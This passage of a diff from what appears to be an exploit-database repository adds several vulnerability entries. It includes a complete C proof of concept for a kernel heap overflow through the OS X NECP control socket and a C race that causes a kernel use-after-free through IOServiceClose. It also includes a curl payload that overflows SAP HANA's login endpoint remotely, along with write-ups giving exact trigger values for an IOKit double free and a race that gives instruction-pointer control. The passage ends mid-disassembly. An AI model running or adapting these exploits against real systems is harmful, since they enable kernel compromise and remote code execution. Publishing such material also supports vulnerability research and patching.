loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
|
||||
then copy the second 1024 byte policy.
|
||||
|
||||
By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)
|
||||
|
||||
this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
|
||||
of times and you'll crash :)
|
||||
|
||||
Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
/*
|
||||
iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing
|
||||
|
||||
NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
|
||||
|
||||
By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
|
||||
OS X this is a real security boundary.
|
||||
|
||||
necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
|
||||
The type field is a single byte and the length is a size_t (ie 8 bytes.)
|
||||
|
||||
by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:
|
||||
|
||||
// Read policy conditions
|
||||
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
|
||||
cursor >= 0;
|
||||
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
|
||||
size_t condition_size = 0;
|
||||
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
|
||||
|
||||
if (condition_size > 0) {
|
||||
conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
|
||||
}
|
||||
}
|
||||
|
||||
The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )
|
||||
|
||||
This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:
|
||||
|
||||
one of length 1; one of length 1024 and one of length 2^64-1051;
|
||||
|
||||
later conditions_array_size is used as the size of a memory allocation:
|
||||
|
||||
MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);
|
||||
|
||||
There is then a memory copying loop operating on the undersized array:
|
||||
|
||||
conditions_array_cursor = 0;
|
||||
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
|
||||
cursor >= 0;
|
||||
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
|
||||
u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
|
||||
size_t condition_size = 0;
|
||||
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
|
||||
if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) { <-- (a)
|
||||
// Add type
|
||||
memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
|
||||
conditions_array_cursor += sizeof(condition_type);
|
||||
|
||||
// Add length
|
||||
memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
|
||||
conditions_array_cursor += sizeof(condition_size);
|
||||
|
||||
// Add value
|
||||
necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL); <-- (b)
|
||||
|
||||
There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
|
||||
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
|
||||
then copy the second 1024 byte policy.
|
||||
|
||||
By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)
|
||||
|
||||
this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
|
||||
of times and you'll crash :)
|
||||
|
||||
Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/kern_control.h>
|
||||
#include <sys/sys_domain.h>
|
||||
#include <net/if.h>
|
||||
#include <netinet/in_var.h>
|
||||
#include <netinet6/nd6.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <sys/ioctl.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define CONTROL_NAME "com.apple.net.necp_control"
|
||||
|
||||
int ctl_open(void) {
|
||||
int sock;
|
||||
int error = 0;
|
||||
struct ctl_info kernctl_info;
|
||||
struct sockaddr_ctl kernctl_addr;
|
||||
|
||||
sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
|
||||
if (sock < 0) {
|
||||
printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno));
|
||||
goto done;
|
||||
}
|
||||
|
||||
memset(&kernctl_info, 0, sizeof(kernctl_info));
|
||||
strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name));
|
||||
|
||||
error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
|
||||
if (error) {
|
||||
printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno));
|
||||
goto done;
|
||||
}
|
||||
|
||||
memset(&kernctl_addr, 0, sizeof(kernctl_addr));
|
||||
kernctl_addr.sc_len = sizeof(kernctl_addr);
|
||||
kernctl_addr.sc_family = AF_SYSTEM;
|
||||
kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
|
||||
kernctl_addr.sc_id = kernctl_info.ctl_id;
|
||||
kernctl_addr.sc_unit = 0;
|
||||
|
||||
error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
|
||||
if (error) {
|
||||
printf("Failed to connect to the control socket: %s", strerror(errno));
|
||||
goto done;
|
||||
}
|
||||
|
||||
done:
|
||||
if (error && sock >= 0) {
|
||||
close(sock);
|
||||
sock = -1;
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
struct necp_packet_header {
|
||||
uint8_t packet_type;
|
||||
uint8_t flags;
|
||||
uint32_t message_id;
|
||||
};
|
||||
|
||||
uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){
|
||||
*buf = type;
|
||||
*(( size_t*)(buf+1)) = len;
|
||||
memcpy(buf+9, val, len);
|
||||
return buf+9+len;
|
||||
}
|
||||
|
||||
uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){
|
||||
*buf = type;
|
||||
*(( size_t*)(buf+1)) = len;
|
||||
memcpy(buf+9, val, real_len);
|
||||
return buf+9+real_len;
|
||||
}
|
||||
|
||||
int main(){
|
||||
int fd = ctl_open();
|
||||
if (fd < 0) {
|
||||
printf("failed to get control socket :(\n");
|
||||
return 1;
|
||||
}
|
||||
printf("got a control socket! %d\n", fd);
|
||||
|
||||
size_t msg_size;
|
||||
uint8_t* msg = malloc(0x1000);
|
||||
memset(msg, 0, 0x1000);
|
||||
|
||||
uint8_t* payload = malloc(0x1000);
|
||||
memset(payload, 'A', 0x1000);
|
||||
|
||||
struct necp_packet_header* hdr = (struct necp_packet_header*) msg;
|
||||
hdr->packet_type = 1; // POLICY_ADD
|
||||
hdr->flags = 0;
|
||||
hdr->message_id = 0;
|
||||
|
||||
uint8_t* buf = (uint8_t*)(hdr+1);
|
||||
|
||||
uint32_t order = 0x41414141;
|
||||
buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER
|
||||
|
||||
uint8_t policy = 1; // NECP_POLICY_RESULT_PASS
|
||||
buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT
|
||||
|
||||
buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION
|
||||
buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION
|
||||
|
||||
buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10);
|
||||
|
||||
msg_size = buf - msg;
|
||||
|
||||
send(fd, msg, msg_size, 0);
|
||||
|
||||
close(fd);
|
||||
return 0;
|
||||
}
|
184
platforms/multiple/dos/39379.txt
Executable file
184
platforms/multiple/dos/39379.txt
Executable file
|
@ -0,0 +1,184 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=542
|
||||
|
||||
The IOHIDLibUserClient allows us to create and manage IOHIDEventQueues corresponding to available HID devices.
|
||||
|
||||
Here is the ::start method, which can be reached via the IOHIDLibUserClient::_startQueue external method:
|
||||
|
||||
************ SNIP **************
|
||||
|
||||
void IOHIDEventQueue::start()
|
||||
{
|
||||
if ( _lock )
|
||||
IOLockLock(_lock);
|
||||
|
||||
if ( _state & kHIDQueueStarted )
|
||||
goto START_END;
|
||||
|
||||
if ( _currentEntrySize != _maxEntrySize ) <--- (a)
|
||||
{
|
||||
mach_port_t port = notifyMsg ? ((mach_msg_header_t *)notifyMsg)->msgh_remote_port : MACH_PORT_NULL;
|
||||
|
||||
// Free the existing queue data
|
||||
if (dataQueue) { <-- (b)
|
||||
IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
|
||||
}
|
||||
|
||||
if (_descriptor) {
|
||||
_descriptor->release();
|
||||
_descriptor = 0;
|
||||
}
|
||||
|
||||
// init the queue again. This will allocate the appropriate data.
|
||||
if ( !initWithEntries(_numEntries, _maxEntrySize) ) { (c) <----
|
||||
goto START_END;
|
||||
}
|
||||
|
||||
_currentEntrySize = _maxEntrySize;
|
||||
|
||||
// RY: since we are initing the queue, we should reset the port as well
|
||||
if ( port )
|
||||
setNotificationPort(port);
|
||||
}
|
||||
else if ( dataQueue )
|
||||
{
|
||||
dataQueue->head = 0;
|
||||
dataQueue->tail = 0;
|
||||
}
|
||||
|
||||
_state |= kHIDQueueStarted;
|
||||
|
||||
START_END:
|
||||
if ( _lock )
|
||||
IOLockUnlock(_lock);
|
||||
|
||||
}
|
||||
|
||||
************ SNIP **************
|
||||
|
||||
|
||||
If _currentEntrySize is not equal to _maxEntrySize then the start method will attempt to reallocate a better-sized queue;
|
||||
if dataQueue (a member of IODataQueue) is non-zero its free'd then initWithEntries is called with the new _maxEntrySize.
|
||||
|
||||
Note that the error path on failure here jumps straight to the end of the function, so it's up to initWithEntries to
|
||||
clear dataQueue if it fails:
|
||||
|
||||
|
||||
************ SNIP **************
|
||||
|
||||
Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
|
||||
{
|
||||
UInt32 size = numEntries*entrySize;
|
||||
|
||||
if ( size < MIN_HID_QUEUE_CAPACITY )
|
||||
size = MIN_HID_QUEUE_CAPACITY;
|
||||
|
||||
return super::initWithCapacity(size);
|
||||
}
|
||||
|
||||
************ SNIP **************
|
||||
|
||||
|
||||
There's a possible overflow here; but there will be *many* possible overflows coming up and we need to overflow at the right one...
|
||||
|
||||
This calls through to IOSharedDataQueue::initWithCapacity
|
||||
|
||||
|
||||
************ SNIP **************
|
||||
|
||||
Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
|
||||
{
|
||||
IODataQueueAppendix * appendix;
|
||||
vm_size_t allocSize;
|
||||
|
||||
if (!super::init()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
_reserved = (ExpansionData *)IOMalloc(sizeof(struct ExpansionData));
|
||||
if (!_reserved) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (size > UINT32_MAX - DATA_QUEUE_MEMORY_HEADER_SIZE - DATA_QUEUE_MEMORY_APPENDIX_SIZE) {
|
||||
return false;
|
||||
}
|
||||
|
||||
allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE);
|
||||
|
||||
if (allocSize < size) {
|
||||
return false;
|
||||
}
|
||||
|
||||
dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);
|
||||
|
||||
************ SNIP **************
|
||||
|
||||
|
||||
We need this function to fail on any of the first four conditions; if we reach the IOMallocAligned call
|
||||
then dataQueue will either be set to a valid allocation (which is uninteresting) or set to NULL (also uninteresting.)
|
||||
|
||||
We probably can't fail the ::init() call nor the small IOMalloc. There are then two integer overflow checks;
|
||||
the first will only fail if size (a UInt32 is greater than 0xfffffff4), and the second will be impossible to trigger on 64-bit since
|
||||
round_pages will be checking for 64-bit overflow, and we want a cross-platform exploit!
|
||||
|
||||
Therefore, we have to reach the call to initWithCapacity with a size >= 0xfffffff4 (ie 12 possible values?)
|
||||
|
||||
Where do _maxEntrySize and _currentEntrySize come from?
|
||||
|
||||
When the queue is created they are both set to 0x20, and we can partially control _maxEntrySize by adding an new HIDElement to the queue.
|
||||
|
||||
_numEntries is a completely controlled dword.
|
||||
|
||||
So in order to reach the exploitable conditions we need to:
|
||||
|
||||
1) create a queue, specifying a value for _numEntries. This will allocate a queue (via initWithCapacity) of _numEntries*0x20; this allocation must succeed.
|
||||
|
||||
2) add an element to that queue with a *larger* size, such that _maxEntrySize is increased to NEW_MAX_SIZE.
|
||||
|
||||
3) stop the queue.
|
||||
|
||||
4) start the queue; at which point we will call IOHIDEventQueue::start. since _maxEntrySize is now larger this
|
||||
will free dataQueue then call initWithEntries(_num_entries, NEW_MAX_SIZE). This has to fail in exactly the manner
|
||||
described above such that dataQueue is a dangling pointer.
|
||||
|
||||
5) start the queue again, since _maxEntrySize is still != _currentEntrySize, this will call free dataQueue again!
|
||||
|
||||
|
||||
The really tricky part here is coming up with the values for _numEntries and NEW_MAX_SIZE; the constraints are:
|
||||
|
||||
_numEntries is a dword
|
||||
(_numEntries*0x20)%2^32 must be an allocatable size (ideally <0x10000000)
|
||||
(_numEntries*NEW_MAX_SIZE)%2^32 must be >= 0xfffffff4
|
||||
|
||||
presumable NEW_MAX_SIZE is also reasonably limited by the HID descriptor parsing code, but I didn't look.
|
||||
|
||||
This really doesn't give you much leaway, but it is quite satisfiable :)
|
||||
|
||||
In this case I've chosen to create a "fake" hid device so that I can completely control NEW_MAX_SIZE, thus the PoC requires
|
||||
root (as did the TAIG jailbreak which also messed with report descriptors.) However, this isn't actually a requirement to hit the bug; you'd just need to look through every single HID report descriptor on your system to find one with a suitable report size.
|
||||
|
||||
In this case, _numEntries of 0x3851eb85 leads to an initial queue size of (0x3851eb85*0x20)%2^32 = 0xa3d70a0
|
||||
which is easily allocatable, and NEW_MAX_SIZE = 0x64 leads to: (0x3851eb85*0x64)%2^32 = 0xfffffff4
|
||||
|
||||
|
||||
To run the PoC:
|
||||
|
||||
1) unzip and build the fake_hid code and run 'test -k' as root; this will create an IOHIDUserDevice whose
|
||||
cookie=2 IOHIDElementPrivate report size is 0x64.
|
||||
|
||||
2) build and run this file as a regular user.
|
||||
|
||||
3) see double free crash.
|
||||
|
||||
There's actually nothing limiting this to a double free, you could go on indefinitely free'ing the same pointer.
|
||||
|
||||
As I said before, this bug doesn't actually require root but it's just *much* easier to repro with it!
|
||||
|
||||
Testing on: MacBookAir5,2 10.10.5 14F27
|
||||
Guessing that this affects iOS too but haven't tested.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39379.zip
|
||||
|
159
platforms/multiple/webapps/39382.txt
Executable file
159
platforms/multiple/webapps/39382.txt
Executable file
|
@ -0,0 +1,159 @@
|
|||
[ERPSCAN-15-024] SAP HANA hdbindexserver - Memory corruption
|
||||
|
||||
Application: SAP HANA
|
||||
Versions Affected: SAP HANA 1.00.095
|
||||
Vendor URL: http://SAP.com
|
||||
Bugs: Memory corruption, RCE
|
||||
Reported: 17.07.2015
|
||||
Vendor response: 18.07.2015
|
||||
Date of Public Advisory: 13.10.2015
|
||||
Reference: SAP Security Note 2197428
|
||||
Author: Mathieu Geli (ERPScan)
|
||||
|
||||
|
||||
Description
|
||||
|
||||
|
||||
1. ADVISORY INFORMATION
|
||||
|
||||
Title: SAP HANA 1.00.095
|
||||
Advisory ID: [ERPSCAN-15-024]
|
||||
Risk: Hight
|
||||
Advisory URL: http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/
|
||||
Date published: 13.10.2015
|
||||
Vendors contacted: SAP
|
||||
|
||||
2. VULNERABILITY INFORMATION
|
||||
|
||||
Class: Memory corruption, RCE
|
||||
Impact: full system compromise
|
||||
Remotely Exploitable: Yes
|
||||
Locally Exploitable: No
|
||||
CVE Name: CVE-2015-7986
|
||||
CVSS Information
|
||||
CVSS Base Score: 9.3 / 10
|
||||
CVSS Base Vector:
|
||||
AV : Access Vector (Related exploit range)
|
||||
Network (N)
|
||||
AC : Access Complexity (Required attack complexity) Medium (M)
|
||||
Au : Authentication (Level of authentication needed to exploit) None (N)
|
||||
C : Impact to Confidentiality
|
||||
Complete (C)
|
||||
I : Impact to Integrity
|
||||
Complete (C)
|
||||
A : Impact to Availability
|
||||
Complete (C)
|
||||
|
||||
3. VULNERABILITY DESCRIPTION
|
||||
|
||||
A buffer overflow vulnerability exists in SAP HANA interface. If an
|
||||
attacker has a network access to the SQL interface or the SAP HANA
|
||||
Extended Application Services interface of an SAP HANA system, the
|
||||
vulnerability enables the attacker to inject code into the working
|
||||
memory that is subsequently executed by the application. It can also
|
||||
be used to cause a general fault in the product causing the product to
|
||||
terminate.
|
||||
|
||||
Proof of concept
|
||||
|
||||
This authentication request should be replayed 10 times.
|
||||
|
||||
curl -v -XPOST http://hana:8000/sap/hana/xs/formLogin/login.xscfunc -H
|
||||
'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H
|
||||
'X-csrf-token: unsafe' -d
|
||||
'xs-username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||||
|
||||
|
||||
|
||||
4. VULNERABLE PACKAGES
|
||||
|
||||
SAP HANA 1.00.095.00
|
||||
Other versions are probably affected too, but they were not checked.
|
||||
|
||||
|
||||
5. SOLUTIONS AND WORKAROUNDS
|
||||
|
||||
To correct this vulnerability, install SAP Security Note 2197428
|
||||
|
||||
|
||||
6. AUTHOR
|
||||
|
||||
Mathieu Geli (ERPScan)
|
||||
|
||||
|
||||
7. TECHNICAL DESCRIPTION
|
||||
|
||||
An anonymous attacker can use a special HTTP request to corrupt SAP
|
||||
HANA index server memory.
|
||||
|
||||
|
||||
8. REPORT TIMELINE
|
||||
|
||||
Send: 17.07.2015
|
||||
Reported: 17.07.2015
|
||||
Vendor response: 18.07.2015
|
||||
Date of Public Advisory: 13.10.2015
|
||||
|
||||
|
||||
9. REFERENCES
|
||||
|
||||
http://erpscan.com/advisories/erpscan-15-024-sap-hana-hdbindexserver-memory-corruption/
|
||||
|
||||
|
||||
10. ABOUT ERPScan Research
|
||||
|
||||
The company’s expertise is based on the research subdivision of
|
||||
ERPScan, which is engaged in vulnerability research and analysis of
|
||||
critical enterprise applications. It has achieved multiple
|
||||
acknowledgments from the largest software vendors like SAP, Oracle,
|
||||
Microsoft, IBM, VMware, HP for discovering more than 400
|
||||
vulnerabilities in their solutions (200 of them just in SAP!).
|
||||
ERPScan researchers are proud to have exposed new types of
|
||||
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
|
||||
nominated for the best server-side vulnerability at BlackHat 2013.
|
||||
ERPScan experts have been invited to speak, present, and train at 60+
|
||||
prime international security conferences in 25+ countries across the
|
||||
continents. These include BlackHat, RSA, HITB, and private SAP
|
||||
trainings in several Fortune 2000 companies.
|
||||
ERPScan researchers lead the project EAS-SEC, which is focused on
|
||||
enterprise application security research and awareness. They have
|
||||
published 3 exhaustive annual award-winning surveys about SAP
|
||||
security.
|
||||
ERPScan experts have been interviewed by leading media resources and
|
||||
featured in specialized info-sec publications worldwide. These include
|
||||
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
|
||||
Heise, and Chinabyte, to name a few.
|
||||
We have highly qualified experts in staff with experience in many
|
||||
different fields of security, from web applications and
|
||||
mobile/embedded to reverse engineering and ICS/SCADA systems,
|
||||
accumulating their experience to conduct the best SAP security
|
||||
research.
|
||||
|
||||
|
||||
11. ABOUT ERPScan
|
||||
ERPScan is the most respected and credible Business Application
|
||||
Security provider. Founded in 2010, the company operates globally and
|
||||
enables large Oil and Gas, Financial and Retail organizations to
|
||||
secure their mission-critical processes. Named as an ‘Emerging Vendor’
|
||||
in Security by CRN, listed among “TOP 100 SAP Solution providers” and
|
||||
distinguished by 30+ other awards, ERPScan is the leading SAP SE
|
||||
partner in discovering and resolving security vulnerabilities. ERPScan
|
||||
consultants work with SAP SE in Walldorf to assist in improving the
|
||||
security of their latest solutions.
|
||||
ERPScan’s primary mission is to close the gap between technical and
|
||||
business security, and provide solutions to evaluate and secure SAP
|
||||
and Oracle ERP systems and business-critical applications from both,
|
||||
cyber-attacks as well as internal fraud. Usually our clients are large
|
||||
enterprises, Fortune 2000 companies and managed service providers
|
||||
whose requirements are to actively monitor and manage security of vast
|
||||
SAP landscapes on a global scale.
|
||||
We ‘follow the sun’ and function in two hubs, located in the Palo Alto
|
||||
and Amsterdam to provide threat intelligence services, agile support
|
||||
and operate local offices and partner network spanning 20+ countries
|
||||
around the globe.
|
||||
|
||||
|
||||
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
|
||||
Phone: 650.798.5255
|
||||
Twitter: @erpscan
|
||||
Scoop-it: Business Application Security
|
50
platforms/osx/dos/39357.txt
Executable file
50
platforms/osx/dos/39357.txt
Executable file
|
@ -0,0 +1,50 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=620
|
||||
|
||||
I wanted to demonstrate that these iOS/OS X kernel race condition really are exploitable so here's a PoC
|
||||
which gets RIP on OS X. The same techniques should transfer smoothly to iOS :)
|
||||
|
||||
The bug is here:
|
||||
|
||||
void IORegistryIterator::reset( void )
|
||||
{
|
||||
while( exitEntry())
|
||||
{}
|
||||
|
||||
if( done) {
|
||||
done->release();
|
||||
done = 0;
|
||||
}
|
||||
|
||||
where->current = root;
|
||||
options &= ~kIORegistryIteratorInvalidFlag;
|
||||
}
|
||||
|
||||
We can call this from userspace via the IOIteratorReset method.
|
||||
|
||||
done is an OSOrderedSet* and we only hold one reference on it; therefore we can race two threads
|
||||
to both see the same value of done, one will free it but before it sets done to NULL the other will
|
||||
call ->release on the now free'd OSOrderedSet.
|
||||
|
||||
How to get instruction pointer control?
|
||||
|
||||
The XNU kernel heap seems to have been designed to make this super easy :) When the first thread frees
|
||||
done zalloc will overwrite the first qword of the allocation with the freelist next pointer (and the last qword
|
||||
with that pointer xor'd with a secret.) This means that what used to be the vtable pointer gets overwritten
|
||||
with a valid pointer pointing to the last object freed to this zone. If we can control that object then
|
||||
the qword at +0x28 will be called (release is at offset +0x28 in the OSObject vtable which is the base
|
||||
of all IOKit objects including OSOrderedSet.)
|
||||
|
||||
This PoC uses OSUnserializeXML to unserialize an OSData object with controlled contents then free it, which
|
||||
puts a controlled heap allocation at the head of the kalloc.80 freelist giving us pretty easy instruction pointer control.
|
||||
|
||||
I've attached a panic log showing kernel RIP at 0xffffff8041414141. You will probably have to fiddle with the
|
||||
PoC a bit to get it to work, it's only a PoC but it does work! (I have marked the value to fiddle with :) )
|
||||
|
||||
As a hardening measure I would strongly suggest at the very least flipping the location of the obfuscated and
|
||||
unobfuscate freelist pointers such that the valid freelist pointer doesn't overlap with the location of the
|
||||
vtable pointer.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39357.zip
|
||||
|
95
platforms/osx/dos/39367.c
Executable file
95
platforms/osx/dos/39367.c
Executable file
|
@ -0,0 +1,95 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=597
|
||||
|
||||
It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
|
||||
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
|
||||
do this very simply by calling IOServiceClose on two threads :)
|
||||
|
||||
Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
|
||||
of which depends on the semantics of the clientClose implementation.
|
||||
|
||||
In this particular case we hit a kernel UaF.
|
||||
|
||||
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
|
||||
|
||||
repro: while true; do ./ioparallel_close; done
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o ioparallel_close ioparallel_close.c -lpthread -framework IOKit
|
||||
/*
|
||||
io_service_close leads to potentially dangerous IOKit methods being called without locks
|
||||
|
||||
It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
|
||||
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
|
||||
do this very simply by calling IOServiceClose on two threads :)
|
||||
|
||||
Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
|
||||
of which depends on the semantics of the clientClose implementation.
|
||||
|
||||
In this particular case we hit a kernel UaF.
|
||||
|
||||
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
|
||||
|
||||
repro: while true; do ./ioparallel_close; done
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int start = 0;
|
||||
|
||||
void close_it(io_connect_t conn) {
|
||||
IOServiceClose(conn);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
close_it(*(io_connect_t*)arg);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char* service_name = "IntelAccelerator";
|
||||
int client_type = 4;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IOServiceOpen(service, mach_task_self(), client_type, &conn);
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
pthread_t t;
|
||||
io_connect_t arg = conn;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
close_it(conn);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
223
platforms/osx/dos/39368.c
Executable file
223
platforms/osx/dos/39368.c
Executable file
|
@ -0,0 +1,223 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=596
|
||||
|
||||
The external method 0x206 of IGAccelGLContext is gst_configure. This method takes an arbitrary sized input structure
|
||||
(passed in rsi) but doesn't check the size of that structure (passed in rcx.)
|
||||
|
||||
__text:000000000002A366 __ZN16IGAccelGLContext13gst_configureEP19GstConfigurationRecS1_jPj proc near
|
||||
__text:000000000002A366 ; DATA XREF: __const:000000000005BF88o
|
||||
__text:000000000002A366 push rbp
|
||||
__text:000000000002A367 mov rbp, rsp
|
||||
__text:000000000002A36A push r15
|
||||
__text:000000000002A36C push r14
|
||||
__text:000000000002A36E push r12
|
||||
__text:000000000002A370 push rbx
|
||||
__text:000000000002A371 mov rax, rdx
|
||||
__text:000000000002A374 mov r15, rsi ; <-- r15 points to controlled mach message data
|
||||
__text:000000000002A377 mov r14, rdi
|
||||
__text:000000000002A37A mov edx, [r15+800h] ; <-- size never checked -> oob read
|
||||
__text:000000000002A381 cmp edx, 200h
|
||||
__text:000000000002A387 jbe short loc_2A3AD
|
||||
__text:000000000002A389 lea rdi, aIgaccelglcon_0 ; "IGAccelGLContext::%s Error: Number of e"...
|
||||
__text:000000000002A390 lea rsi, aGst_configure ; "gst_configure"
|
||||
__text:000000000002A397 mov ecx, 200h
